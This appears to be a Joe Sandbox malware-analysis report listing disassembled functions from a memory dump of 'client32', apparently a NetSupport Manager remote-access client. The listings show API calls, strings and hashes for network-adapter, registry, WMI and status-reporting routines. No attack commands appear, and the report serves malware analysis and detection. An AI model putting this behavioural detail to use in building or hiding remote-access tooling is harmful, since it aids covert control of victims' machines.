Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: Interlocked_calloc$CountDecrementEventExchangeTick_memmovewsprintf
String ID: a3Nl$a3Nl
API String ID: 3178096747-1985550657
Opcode ID: 0532764820fef6443c63db19db74c1c5b00f0bc22f5d9ac2b6b33108fcea1458
Instruction ID: d962e1cad66bfa1898173003081c7bd8a80838318c5b63d4e46646303536927a
Opcode Fuzzy Hash: 0532764820fef6443c63db19db74c1c5b00f0bc22f5d9ac2b6b33108fcea1458
Instruction Fuzzy Hash: 594162B6D00209AFDB00DFA9C845EEEB7F8EB8C305F01851AE519E7640E775A645CBA1

Function 6C4F0D40 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(IPHLPAPI.DLL,00000000,6C4F0F2B,653E1EB3,00000000,?,?,6C50F278,000000FF,?,6C4DAE0A,?,00000000,?,00000080), ref: 6C4F0D48
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 6C4F0D5B
GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,?,?,-6C51CB4C,?,?,6C50F278,000000FF,?,6C4DAE0A,?,00000000,?,00000080), ref: 6C4F0D76
_malloc.LIBCMT ref: 6C4F0D8C

Part of subcall function 6C4F1B69: __FF_MSGBANNER.LIBCMT ref: 6C4F1B82
Part of subcall function 6C4F1B69: __NMSG_WRITE.LIBCMT ref: 6C4F1B89
Part of subcall function 6C4F1B69: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6C4FD3C1,6C4F6E81,00000001,6C4F6E81,?,6C4FF447,00000018,6C517738,0000000C,6C4FF4D7), ref: 6C4F1BAE

GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,00000000,?,?,?,?,?,6C50F278,000000FF,?,6C4DAE0A,?,00000000,?), ref: 6C4F0D9F
_free.LIBCMT ref: 6C4F0D84

Part of subcall function 6C4F1BFD: HeapFree.KERNEL32(00000000,00000000), ref: 6C4F1C13
Part of subcall function 6C4F1BFD: GetLastError.KERNEL32(00000000), ref: 6C4F1C25

_free.LIBCMT ref: 6C4F0DAF

Strings

IPHLPAPI.DLL, xrefs: 6C4F0D41
GetAdaptersAddresses, xrefs: 6C4F0D55

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: AdaptersAddressesHeap_free$AddressAllocateErrorFreeLastLibraryLoadProc_malloc
String ID: GetAdaptersAddresses$IPHLPAPI.DLL
API String ID: 1360380336-1843585929
Opcode ID: 08d4bc25383dad20d8f6c54196765de845bfd4b0399ef4499bbf5dd61ebd7694
Instruction ID: 7c85eb5cbec23dad30d48768bb5329797828609523fb9f290436453a26b5ebe2
Opcode Fuzzy Hash: 08d4bc25383dad20d8f6c54196765de845bfd4b0399ef4499bbf5dd61ebd7694
Instruction Fuzzy Hash: F10184F5600341ABE630DB709C99F5776A89BC1B05F20491CF5769BB80EB71F446C764

Function 6C4D77B0 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 107COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6C4D78B0
_free.LIBCMT ref: 6C4D78B9

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6C4D77FB
body, xrefs: 6C4D7800
ES=%d, xrefs: 6C4D783D
CMD=ENCD, xrefs: 6C4D782E
DATA=, xrefs: 6C4D787C
, xrefs: 6C4D77BD

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: _free
String ID: $CMD=ENCD$DATA=$ES=%d$body$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c
API String ID: 269201875-1133135390
Opcode ID: 198c9791c76e25856b77b9049f964ae73abc7a2e9fbbe8ee70324e6044f9c59a
Instruction ID: dd82488687801cbd01ab86ff2ad00809cd849f54f9e0e723d8a55f685bb6b050
Opcode Fuzzy Hash: 198c9791c76e25856b77b9049f964ae73abc7a2e9fbbe8ee70324e6044f9c59a
Instruction Fuzzy Hash: CB3149759440047AE301EBA49C44EFFB7AD9F95229F024548F814A3F00DF20FA4E83E1

Function 111417E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 111416D0: RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 11141740
Part of subcall function 111416D0: RegCloseKey.ADVAPI32(?), ref: 111417A4

_memset.LIBCMT ref: 11141825
GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114183E
LoadLibraryA.KERNEL32(kernel32.dll), ref: 11141865
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 11141877
FreeLibrary.KERNEL32(00000000), ref: 1114188F
GetSystemDefaultLangID.KERNEL32 ref: 1114189A

Strings

kernel32.dll, xrefs: 11141850
GetUserDefaultUILanguage, xrefs: 11141871

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCloseDefaultFreeLangLoadOpenProcSystemVersion_memset
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 4251163631-545709139
Opcode ID: 52e08b8040a94f73e6db15951dbec387edccb6118ea88e3965d05f7f8c5290a5
Instruction ID: a1897379584a85b8fcbfce1e5dfa0143c38c02a79489d2a59ba0917f26043d4d
Opcode Fuzzy Hash: 52e08b8040a94f73e6db15951dbec387edccb6118ea88e3965d05f7f8c5290a5
Instruction Fuzzy Hash: A731D734F006278BE711DFB5C884B9AF7B4EB45728FA04175E929D3680E7346985CBA1

Function 6C4E6940 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6C4E6950

Part of subcall function 6C4E7BE0: _memset.LIBCMT ref: 6C4E7BFF
Part of subcall function 6C4E7BE0: _strncpy.LIBCMT ref: 6C4E7C0B

Part of subcall function 6C4DA4E0: EnterCriticalSection.KERNEL32(6C51B898,00000000,?,?,?,6C4DDA7F,?,00000000), ref: 6C4DA503
Part of subcall function 6C4DA4E0: InterlockedExchange.KERNEL32(?,00000000), ref: 6C4DA568
Part of subcall function 6C4DA4E0: Sleep.KERNEL32(00000000,?,6C4DDA7F,?,00000000), ref: 6C4DA581
Part of subcall function 6C4DA4E0: LeaveCriticalSection.KERNEL32(6C51B898,00000000), ref: 6C4DA5B3

Strings

Channel, xrefs: 6C4E6ADD
1.2, xrefs: 6C4E6998
BlNl, xrefs: 6C4E6B88
engineer, xrefs: 6C4E6AF3
Publish %d pending services, xrefs: 6C4E6AAF
Client, xrefs: 6C4E6AE2

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountEnterExchangeInterlockedLeaveSleepTick_memset_strncpy
String ID: 1.2$BlNl$Channel$Client$Publish %d pending services$user
API String ID: 1112461860-1763529824
Opcode ID: f1b39dbf52844bf0992f6d82485763b1fb87c7e1aa34e6064e221bdad9eef846
Instruction ID: 2b1bf3006806711e1d006c86f3013388a40bd0d680e470bab5e5a44605458c71
Opcode Fuzzy Hash: f1b39dbf52844bf0992f6d82485763b1fb87c7e1aa34e6064e221bdad9eef846
Instruction Fuzzy Hash: F351B131B042198BDB11EB78DC59FDA37B4AB0A31EF160528C951C3F81DB32B944C795

Function 11015220 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110152DA
_memset.LIBCMT ref: 1101531E
RegQueryValueExA.KERNEL32(?,PackedCatalogItem,00000000,?,?,?,?,?,00020019), ref: 11015358

Strings

NSLSP, xrefs: 11015368
%012d, xrefs: 110152D4
SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries, xrefs: 1101525B
PackedCatalogItem, xrefs: 11015342

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue_memsetwsprintf
String ID: %012d$NSLSP$PackedCatalogItem$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
API String ID: 1333399081-1346142259
Opcode ID: 1966d73d0a7548c662ec7d0f5b9b12a1528b40116bf1a80f5935ba8defee945b
Instruction ID: bdea00c4cadcb984d55cc41d8ffa963856162fa43bf7957b15c91c952cfd9536
Opcode Fuzzy Hash: 1966d73d0a7548c662ec7d0f5b9b12a1528b40116bf1a80f5935ba8defee945b
Instruction Fuzzy Hash: 31419071D022299FEB11DB54CC80BEEF7B8EB05318F4441E8E41AA7281EB346B44CF50

Function 1100FCD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100FCFD
std::_Lockit::_Lockit.LIBCPMT ref: 1100FD20
std::bad_exception::bad_exception.LIBCMT ref: 1100FDA4
__CxxThrowException@8.LIBCMT ref: 1100FDB2
std::_Lockit::_Lockit.LIBCPMT ref: 1100FDC5
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100FDDF

Strings

bad cast, xrefs: 1100FD9C

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: f55b3e67c510d82044a4a0eb872eff630f09d2d35040e0ac660107f250fd35c3
Instruction ID: 602abc0d8f1a48382741d83dfd398373c40b42a53a5b82a7a50980be8b5515e1
Opcode Fuzzy Hash: f55b3e67c510d82044a4a0eb872eff630f09d2d35040e0ac660107f250fd35c3
Instruction Fuzzy Hash: 51319235D006259BEB55EF94C880BAEF7B5EB05368F00426ED835A7290DB71BE05CBD2

Function 11140F70 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,11190A88), ref: 11140FDD
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110C55B), ref: 1114101E
SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114107B

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

FALSE || !"wrong nsmdir", xrefs: 1114103E
nsmdir < GP_MAX, xrefs: 11140F9C
..\ctl32\util.cpp, xrefs: 11140F97, 11141039

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$ErrorExitFileLastMessageModuleNameProcesswsprintf
String ID: ..\ctl32\util.cpp$FALSE || !"wrong nsmdir"$nsmdir < GP_MAX
API String ID: 3494822531-1878648853
Opcode ID: b1b80692356250f6ca6e36b7e7c75fab51b47a097b04a0fc010fc8780e3fd367
Instruction ID: c1a9514a077855d937a37f92dfa5b0c024edd259558bcf7a9c1bb47bd0b9ea3f
Opcode Fuzzy Hash: b1b80692356250f6ca6e36b7e7c75fab51b47a097b04a0fc010fc8780e3fd367
Instruction Fuzzy Hash: 82515B75E0426E5BD711CF24CC54BDDF7B4EB05B08F2401A4E88977285EBB27A84CBA2

Function 6C4DB8E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 6C4DB941
_free.LIBCMT ref: 6C4DB952
_malloc.LIBCMT ref: 6C4DB970
_free.LIBCMT ref: 6C4DB999
_strtok.LIBCMT ref: 6C4DB9A5

Part of subcall function 6C4E7F80: _memset.LIBCMT ref: 6C4E7F9F
Part of subcall function 6C4E7F80: LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,?,?,?,?,?,?,?,?,6C4DB916,?,00000100,00000006,00000001), ref: 6C4E7FAC
Part of subcall function 6C4E7F80: GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 6C4E7FCB
Part of subcall function 6C4E7F80: GetAdaptersInfo.IPHLPAPI(00000000,?,?,00000000,?), ref: 6C4E7FE0
Part of subcall function 6C4E7F80: _malloc.LIBCMT ref: 6C4E7FFB
Part of subcall function 6C4E7F80: GetAdaptersInfo.IPHLPAPI(00000000,00000000,?,?,00000000,?), ref: 6C4E8015
Part of subcall function 6C4E7F80: wsprintfA.USER32 ref: 6C4E807C

Part of subcall function 6C4E7F80: _free.LIBCMT ref: 6C4E8110
Part of subcall function 6C4E7F80: FreeLibrary.KERNEL32(00000000,?,00000000,?), ref: 6C4E811C

Strings

MACADDRESS=%s, xrefs: 6C4DB98D

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: _free$AdaptersInfoLibrary_malloc_strtok$AddressFreeLoadProc_memsetwsprintf
String ID: MACADDRESS=%s
API String ID: 2837241910-795797190
Opcode ID: 3b249179761ccd48a02e8df4d743169de9840386e232383131f41b42e27455ad
Instruction ID: 5b38671a3da4399964f9fed11ff6bce4cdbe6a5f26cf884362fe88a5b198164a
Opcode Fuzzy Hash: 3b249179761ccd48a02e8df4d743169de9840386e232383131f41b42e27455ad
Instruction Fuzzy Hash: 1721BB72A0424823E711E2745C55FEA72A88F85B29F0502DCED449BB80FEB1F90A82D0

Function 6C4DAEA0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6C4E7D00: __vswprintf.LIBCMT ref: 6C4E7D26

Part of subcall function 6C4D5060: _free.LIBCMT ref: 6C4D506A
Part of subcall function 6C4D5060: _malloc.LIBCMT ref: 6C4D5090

_free.LIBCMT ref: 6C4DAF0A

Part of subcall function 6C4F1BFD: HeapFree.KERNEL32(00000000,00000000), ref: 6C4F1C13
Part of subcall function 6C4F1BFD: GetLastError.KERNEL32(00000000), ref: 6C4F1C25

_free.LIBCMT ref: 6C4DAF39

Part of subcall function 6C4E7B60: _sprintf.LIBCMT ref: 6C4E7B77

Part of subcall function 6C4E77E0: _free.LIBCMT ref: 6C4E77EF

Strings

REQUESTING_HELP=%d, xrefs: 6C4DAED6
CMD=STATUS, xrefs: 6C4DAEC0
USERNAME=%s, xrefs: 6C4DAEFE
CHANNEL=%s, xrefs: 6C4DAF2D

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast__vswprintf_malloc_sprintf
String ID: CHANNEL=%s$CMD=STATUS$REQUESTING_HELP=%d$USERNAME=%s
API String ID: 1628406020-2994292602
Opcode ID: 7b080e8f5efe93875ecaa93d2d6e07268db9cfbba32f841c333113da879051b7
Instruction ID: 84475df71087592f14ede1fafc1259fb64bab77c0621e93a82073ad174d06779
Opcode Fuzzy Hash: 7b080e8f5efe93875ecaa93d2d6e07268db9cfbba32f841c333113da879051b7
Instruction Fuzzy Hash: 6421BDB6900108BACB01EBE4DC55FEF7BB9DB58604F114548E601A3A40EB31BA49C7E0

Function 11017550 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000314,000000FF), ref: 1101758C
CoInitialize.OLE32(00000000), ref: 11017595
_GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 110175BC
CoUninitialize.COMBASE ref: 11017620

Strings

Win32_ComputerSystem, xrefs: 110175AD
PCSystemTypeEx, xrefs: 110175CC

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: PCSystemTypeEx$Win32_ComputerSystem
API String ID: 2407233060-578995875
Opcode ID: 572f52470f95a4d3f25bfac9a72a5a8fb57ea990918a4877c824122c431ef828
Instruction ID: f5474d2ce38f90e0a7ff94217669a9bd078e6126dc5b2c5f9befb888d677ae11
Opcode Fuzzy Hash: 572f52470f95a4d3f25bfac9a72a5a8fb57ea990918a4877c824122c431ef828
Instruction Fuzzy Hash: C1214CB5E006625BDB50CF648C44B6FBBE48F88348F0004B9FC5DDA188FA78D940C792

Function 11017470 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000314,000000FF), ref: 110174A2
CoInitialize.OLE32(00000000), ref: 110174AB
_GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 110174D2
CoUninitialize.COMBASE ref: 11017530

Strings

ChassisTypes, xrefs: 110174E2
Win32_SystemEnclosure, xrefs: 110174C3

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
